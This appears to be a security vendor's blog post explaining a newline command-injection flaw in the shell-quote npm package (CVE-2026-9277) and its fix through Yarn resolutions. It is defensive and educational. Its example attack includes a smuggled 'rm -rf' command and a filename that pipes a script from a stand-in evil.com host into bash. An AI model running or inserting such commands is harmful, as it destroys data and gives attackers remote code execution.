Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators in parsed shell arguments could allow attackers to inject and execute arbitrary commands. The fix upgrades shell-quote to version 1.8.4 and pins the resolution in both `package.json` and `yarn.lock` to ensure the patched version is used across the entire dependency tree. Because this package is used in a production web application that processes user-influenced input,

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability (CWE-78) in the npm package shell-quote 1.8.3, where unescaped newline and line-terminator characters in shell argument parsing allow arbitrary command execution. In Node.js applications, any user-controlled string passed through shell-quote's parsing logic could break out of the intended command context. The fix is to upgrade shell-quote to 1.8.4 and add an explicit Yarn resolution (`"shell-quote": "1.8.4"`) in `package.json` so all transitive dependents receive the patched version.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote to 1.8.4 and pin the resolution in package.json resolutions to enforce the patched version across all transitive dependencies
riskArbitrary OS command execution by injecting newline-terminated shell commands through user-controlled input
languageJavaScript / Node.js
root causeshell-quote 1.8.3 failed to escape newline and line-terminator characters when quoting shell arguments, allowing argument context escape
vulnerabilityCommand Injection via unescaped line terminators

How Command Injection Happens in Node.js shell-quote and How to Fix It

The Vulnerability at a Glance

Field Detail
CVE CVE-2026-9277
Severity Critical
Package shell-quote 1.8.3
CWE CWE-78: OS Command Injection
Fix Upgrade to shell-quote 1.8.4

Introduction

The yarn.lock file in this production web application locked a transitive dependency — shell-quote — to version 1.8.3. That version contains a critical flaw: it fails to escape newline characters and Unicode line terminators when constructing quoted shell arguments. In a web application where user-influenced data flows through any code path that ultimately reaches a shell, this single missing escape sequence is enough for an attacker to break out of the intended argument context and execute arbitrary OS commands.

This post walks through exactly what went wrong in shell-quote@1.8.3, how CVE-2026-9277 can be exploited, and what the package.json + yarn.lock changes actually accomplish.


The Vulnerability Explained

What shell-quote Does

shell-quote is a small but widely-used npm package that parses and quotes shell command strings. Its primary job is to take an array of arguments and produce a safely-quoted shell command string — the kind of thing you'd pass to child_process.exec(). Dozens of popular build tools, bundlers, and CLI utilities depend on it transitively.

The Specific Flaw in 1.8.3

The vulnerable version (1.8.3) did not properly escape newline characters (\n, \r) and related Unicode line terminators when quoting arguments. Consider a simplified representation of what the vulnerable quoting logic allowed:

// shell-quote@1.8.3 — vulnerable behavior
const quote = require('shell-quote').quote;

// Attacker-controlled input containing a newline
const userInput = 'safe-value\nrm -rf /important-dir';

const cmd = 'process-file ' + quote([userInput]);
// Produces something like:
// process-file 'safe-value
// rm -rf /important-dir'
//
// Many shells interpret the newline as a command separator,
// executing BOTH the intended command AND the injected one.

The key problem is that a single-quoted string in POSIX shells cannot contain a literal newline without escaping it. When shell-quote failed to escape the \n, the resulting shell string effectively became two separate commands. The shell processes the newline as a command terminator, and the injected payload runs with the same privileges as the Node.js process.

Why This Matters for This Application

This is a production web application — the scanner's threat model explicitly notes that "XSS and injection vulnerabilities can affect end users." If any request parameter, form field, filename, or API response value flows through a code path that uses shell-quote to build a shell command, an attacker can inject a newline followed by any OS command they choose.

The assessment was "likely exploitable" because:
1. The package is in the production bundle (not a dev-only tool).
2. Web applications routinely process user-supplied strings.
3. The exploit technique (newline injection) requires no special privileges or authentication — just the ability to send an HTTP request with a crafted payload.

Example Attack Scenario

Imagine a feature that uses a build tool internally — say, a file processing pipeline that constructs a shell command from a user-supplied filename:

const { quote } = require('shell-quote'); // version 1.8.3
const { exec } = require('child_process');

// userFilename comes from an HTTP request parameter
function processFile(userFilename) {
  const cmd = `convert-tool ${quote([userFilename])}`;
  exec(cmd, (err, stdout) => { /* ... */ });
}

// Attacker sends: filename = "photo.jpg\ncurl https://evil.com/shell.sh | bash"
// Resulting command executed by the shell:
// convert-tool 'photo.jpg
// curl https://evil.com/shell.sh | bash'

Because shell-quote@1.8.3 doesn't escape the \n, the shell sees two commands and executes both. The attacker achieves remote code execution on the server.


The Fix

What Changed

The fix involves two files: package.json and yarn.lock. Both changes are necessary and work together.

package.json — Pinning the Resolution

   "resolutions": {
     "@babel/runtime": "^7.26.10",
-    "libsodium-wrappers-sumo": "0.7.15"
+    "libsodium-wrappers-sumo": "0.7.15",
+    "shell-quote": "1.8.4"
   },

Yarn's resolutions field forces all packages in the dependency tree — including transitive dependencies — to use the specified version of a package. Without this line, even if you upgrade a direct dependency, a deeply nested package that also depends on shell-quote might still resolve to 1.8.3. The resolution entry is the enforcement mechanism.

yarn.lock — Updating the Resolved Entry

-shell-quote@^1.8.3:
-  version "1.8.3"
-  resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.8.3.tgz#55e40ef33cf5c689902353a3d8cd1a6725f08b4b"
-  integrity sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==
+shell-quote@1.8.4, shell-quote@^1.8.3:
+  version "1.8.4"
+  resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.8.4.tgz#2edd9a4dcefc96649e2e2cb12f637b1f1d92a190"
+  integrity sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ==

The yarn.lock entry now:
- Covers both the pinned exact version (shell-quote@1.8.4) and the semver range (shell-quote@^1.8.3) under a single resolved entry.
- Points to the 1.8.4 tarball with its correct SHA-512 integrity hash, ensuring the patched package is downloaded and verified.
- The new integrity hash (sha512-VsC6n6...) cryptographically guarantees that the installed package matches the patched release — not the vulnerable one.

What 1.8.4 Actually Fixed

Version 1.8.4 of shell-quote adds proper escaping for newline characters (\n), carriage returns (\r), and other Unicode line terminators within quoted arguments. The patched quoting logic ensures that any character that a POSIX shell could interpret as a command separator is escaped before it reaches the shell interpreter, closing the injection vector entirely.


Prevention & Best Practices

1. Prefer Argument Arrays Over Shell Strings

The safest approach is to avoid shell interpretation entirely:

// ❌ Vulnerable pattern — shell interprets the string
const { exec } = require('child_process');
exec(`process-file ${userInput}`);

// ✅ Safe pattern — no shell involved, arguments are passed directly
const { execFile } = require('child_process');
execFile('process-file', [userInput]);

// ✅ Also safe — spawn with shell: false (the default)
const { spawn } = require('child_process');
spawn('process-file', [userInput], { shell: false });

When you use execFile or spawn without shell: true, the OS passes arguments directly to the process without invoking a shell — newlines and special characters are inert.

2. Keep Dependency Lock Files in Version Control

The yarn.lock file is what made this fix precise and verifiable. Always commit lock files and review them during security audits. A changed integrity hash in a lock file is a meaningful security signal.

3. Use Yarn Resolutions (or npm Overrides) for Transitive Vulnerabilities

When a vulnerable package is a transitive dependency you don't directly control, use:

  • Yarn: "resolutions" field in package.json
  • npm: "overrides" field in package.json (npm 8.3+)

This is exactly what the fix does — it doesn't just update a direct dependency, it enforces the safe version across the entire tree.

4. Integrate Automated Dependency Scanning

Tools that can catch issues like this:
- Trivy — flagged this exact CVE (CVE-2026-9277) in the yarn.lock file
- Snyk — continuous monitoring of npm dependency vulnerabilities
- GitHub Dependabot — automated PRs for vulnerable dependencies
- Semgrep — taint analysis to trace user input to shell execution sinks (shell injection rules)

5. Validate and Allowlist Before Shell Quoting

Even with a patched shell-quote, applying input validation before any shell-adjacent code is defense-in-depth:

// Allowlist approach for filenames
function isValidFilename(name) {
  return /^[\w\-. ]+$/.test(name); // Only alphanumeric, dash, dot, space
}

if (!isValidFilename(userFilename)) {
  throw new Error('Invalid filename');
}

Relevant Standards


Key Takeaways

  • shell-quote@1.8.3 is exploitable via newline injection — any application passing user-controlled strings through this version's quoting logic is vulnerable to arbitrary command execution.
  • Transitive dependencies are attack surface — this vulnerability wasn't in a direct dependency; it was nested in the dependency tree and only visible through the yarn.lock file.
  • The resolutions field in package.json is a security control — without pinning "shell-quote": "1.8.4" in resolutions, other packages in the tree could still pull in the vulnerable 1.8.3.
  • Integrity hashes in yarn.lock matter — the changed sha512 hash from ObmnIF4h... to VsC6n6vz... is cryptographic proof that the installed package changed; treat unexpected hash changes in lock files as a security event.
  • execFile/spawn with shell: false eliminates this class of vulnerability entirely — prefer argument arrays over shell strings whenever possible in Node.js.

How Orbis AppSec Detected This

  • Source: User-influenced input entering the application through HTTP request parameters in the production web application.
  • Sink: Any call site within the dependency tree where shell-quote's quote() function constructs a shell command string that is subsequently passed to a shell interpreter (e.g., child_process.exec()).
  • Missing control: shell-quote@1.8.3 lacked escaping for newline (\n), carriage return (\r), and Unicode line terminator characters, allowing argument context escape and command injection.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: The yarn.lock entry for shell-quote was updated from version 1.8.3 (integrity sha512-ObmnIF4h...) to version 1.8.4 (integrity sha512-VsC6n6vz...), and a Yarn resolution was added to package.json to enforce the patched version across all transitive dependents.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-9277 is a sharp reminder that security vulnerabilities don't only live in code you write — they hide in the packages your packages depend on. A single missing escape for a newline character in shell-quote@1.8.3 was enough to turn a routine shell-quoting utility into a remote code execution vector. The fix is straightforward: upgrade to 1.8.4 and use Yarn's resolutions field to ensure no corner of your dependency tree can pull in the vulnerable version. More broadly, prefer execFile and spawn with argument arrays over shell string construction whenever you need to invoke external processes in Node.js — it eliminates this entire class of vulnerability by design.


References

Frequently Asked Questions

What is command injection?

Command injection occurs when user-controlled input is passed unsanitized to a shell or command interpreter, allowing an attacker to append or inject additional OS commands that the application executes with its own privileges.

How do you prevent command injection in Node.js?

Avoid constructing shell commands from user input entirely; prefer child_process.execFile() or spawn() with argument arrays. When shell quoting is unavoidable, use a well-maintained, up-to-date library like shell-quote ≥1.8.4 and validate or allowlist inputs before passing them to any shell context.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is escaping user input enough to prevent command injection?

Not always. Escaping must cover every special character the target shell interprets, including newlines, carriage returns, and Unicode line terminators — the exact characters that shell-quote 1.8.3 missed. A dedicated, actively maintained library combined with input validation is more reliable than ad-hoc escaping.

Can static analysis detect command injection?

Yes. Tools like Trivy (which flagged this vulnerability), Semgrep, and Snyk can identify known-vulnerable package versions and taint-flow patterns where user input reaches shell execution sinks. Orbis AppSec used Trivy's rule CVE-2026-9277 to detect and automatically remediate this issue.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #750

Related Articles

high

How Shell Injection via os.system() happens in Python and how to fix it

A shell injection vulnerability in TensorFlow's DELF dataset download script allowed attackers who controlled the `data_dir` parameter to execute arbitrary shell commands by injecting metacharacters into `os.system()` calls. The fix replaces all four `os.system()` invocations with `subprocess.run()` using argument lists, eliminating shell interpretation entirely. This change closes a high-severity code execution path in production ML infrastructure.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

CVE-2026-9277 is a critical command injection vulnerability in the `shell-quote` npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins `shell-quote` to `>=1.8.4` via a `pnpm.overrides` entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through `shell-quote` and has not yet upgraded is at risk of

critical

How Remote Code Execution via Security Fix Bypass happens in Node.js and how to fix it

CVE-2026-28292 is a critical Remote Code Execution vulnerability in the `simple-git` Node.js library that allowed attackers to bypass previously applied security fixes. Applications using `simple-git` versions below 3.32.3 remained exposed even after earlier patches, and upgrading to 3.32.3 — which introduced hardened argument parsing via new `@simple-git/argv-parser` and `@simple-git/args-pathspec` sub-packages — closes the bypass. This fix is especially urgent because the vulnerability affects

critical

How Command Injection happens in Python PopClip Extensions and how to fix it

A critical command injection vulnerability was discovered in `contrib/Klipz.popclipext/Klipz.py`, where user-controlled clipboard content was concatenated directly into shell commands executed via `osascript`. The fix replaces unsafe string concatenation with `subprocess` and proper argument lists, and replaces the unsafe `pickle` serialization with `json` to eliminate a secondary deserialization risk. Together, these changes close two distinct attack surfaces in a single file.

critical

How Command Injection happens in Rust-generated Python scripts and how to fix it

A critical command injection vulnerability (CWE-78) was discovered in the Linux automation module of the `goose-mcp` crate, where Rust code generated Python scripts that passed user-controlled commands directly to `subprocess.run()` with `shell=True`. An attacker who could influence the `commands` parameter in `execute_system_script()` could inject arbitrary shell commands using metacharacters like `;`, `|`, or backticks. The fix replaces `shell=True` with `shlex.split()` and `shell=False`, and

critical

How Archive Path Traversal Happens in Node.js and How to Fix It

CVE-2026-53486 is a critical path traversal vulnerability in the Decompress library, where crafted archive entries can write files and symbolic links outside the intended extraction directory. This vulnerability was transitively introduced through `@vitest/browser` and related packages pinned at version 4.1.5, and was resolved by upgrading to 4.1.6 and 5.0.0-beta.3. Left unpatched, an attacker who controls an archive file processed by any downstream consumer of this dependency chain could overwr